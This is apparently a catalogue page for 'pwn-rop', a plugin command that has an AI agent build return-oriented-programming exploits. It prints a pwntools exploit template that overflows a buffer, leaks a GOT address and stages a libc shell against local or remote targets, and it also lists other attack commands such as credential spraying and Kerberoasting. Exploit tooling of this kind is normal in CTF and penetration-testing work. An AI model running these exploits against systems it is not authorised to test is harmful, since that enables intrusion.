Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
git clone --depth 1 https://github.com/allsmog/pwn-claude-pluginWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-rop)<a href="https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-rop"><img src="https://agentmods.dev/badge/commands/allsmog/pwn-claude-plugin/pwn-rop/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-rop"><img src="https://agentmods.dev/badge/commands/allsmog/pwn-claude-plugin/pwn-rop.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00018 | $0.00686 |
| Opus 5 | $0.00009 | $0.00343 |
| Sonnet 5 | $0.00004 | $0.00137 |
| Haiku 4.5 | $0.00002 | $0.00069 |
Grade A, and why
pwn-rop scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 125 lines — stays where its author put it; the contents beside it link to each section on GitHub.
PWN ROP - ROP Chain Template
Generate a ROP chain exploit using pwntools automatic ROP builder.
Execution Steps
Step 1: Gather Information
- Binary path
- Offset to return address
- Target action (leak, shell, specific function call)
Step 2: Find Available Gadgets
ROPgadget --binary <binary> --only "pop|ret" | head -30
ropper -f <binary> --search "pop"
Step 3: Generate Template
Create exploit using pwntools ROP class for automatic chain building.
Generated Template
#!/usr/bin/env python3
"""
ROP Chain Exploit Template
Target: <binary>
Uses pwntools ROP builder for automatic chain construction
"""
from pwn import *
# === CONFIGURATION ===
BINARY = './<binary>'
OFFSET = <offset>
# === SETUP ===
elf = ELF(BINARY)
rop = ROP(elf)
context.binary = elf
def conn():
if args.REMOTE:
return remote(args.HOST, int(args.PORT))
elif args.GDB:
return gdb.debug(BINARY, 'b main\\nc')
else:
return process(BINARY)
def main():
io = conn()
# === BUILD ROP CHAIN ===
# Example: Leak GOT entry
rop.call('puts', [elf.got['puts']])
rop.call('main')
log.info("ROP Chain:")
print(rop.dump())
# === SEND PAYLOAD ===
payload = flat(
b'A' * OFFSET,
rop.chain()
)
io.sendline(payload)
# Parse leak if applicable
leak = u64(io.recvline().strip().ljust(8, b'\\x00'))
log.success(f"Leak: {hex(leak)}")
# === STAGE 2 (if needed) ===
# Build second ROP chain with libc
# rop2 = ROP(libc)
# rop2.system(next(libc.search(b'/bin/sh')))
io.interactive()
if __name__ == '__main__':
main()
ROP Builder Examples
Call Function with Arguments
rop.call('puts', [elf.got['puts']])
rop.call('printf', [elf.symbols['format_string']])
Raw Gadget Insertion
rop.raw(pop_rdi)
rop.raw(elf.got['puts'])
rop.raw(elf.plt['puts'])
Find Gadgets Automatically
# pwntools finds gadgets automatically
rop.rdi = 0x12345678 # Sets up pop rdi ; ret
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 125 lines · 18 tokens per session scan A 30d2e03005e9
pwn-rop is a command published in the GitHub repository allsmog/pwn-claude-plugin (2 stars, last pushed 6mo ago), licensed MIT. It adds 18 tokens to every session and 686 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other commands, from other repositories
bb-ad
Active Directory enumeration and attack techniques. Includes LDAP enumeration, Kerberos attacks (Kerberoasting, AS-REP Roasting), SMB attacks, and domain privilege escalation. Use this when targeting Windows domain environments.
bb-enum
Service-specific enumeration based on discovered ports. Automatically selects appropriate enumeration techniques for each service. Use after /bb-recon to deeply enumerate discovered services.
bb-setup
Verify penetration testing environment and tool installation. Use this before starting an HTB machine to ensure all required tools are available.
bb-crack
Crack password hashes with automatic type detection and wordlist discovery. Supports MD5, SHA, NTLM, bcrypt, and more.
bb-spray
Credential spraying across discovered services.
bb-web
Comprehensive web application testing for HTTP/HTTPS services. Includes directory fuzzing, vulnerability scanning, technology fingerprinting, and common exploit checks. Use this when a web service is discovered.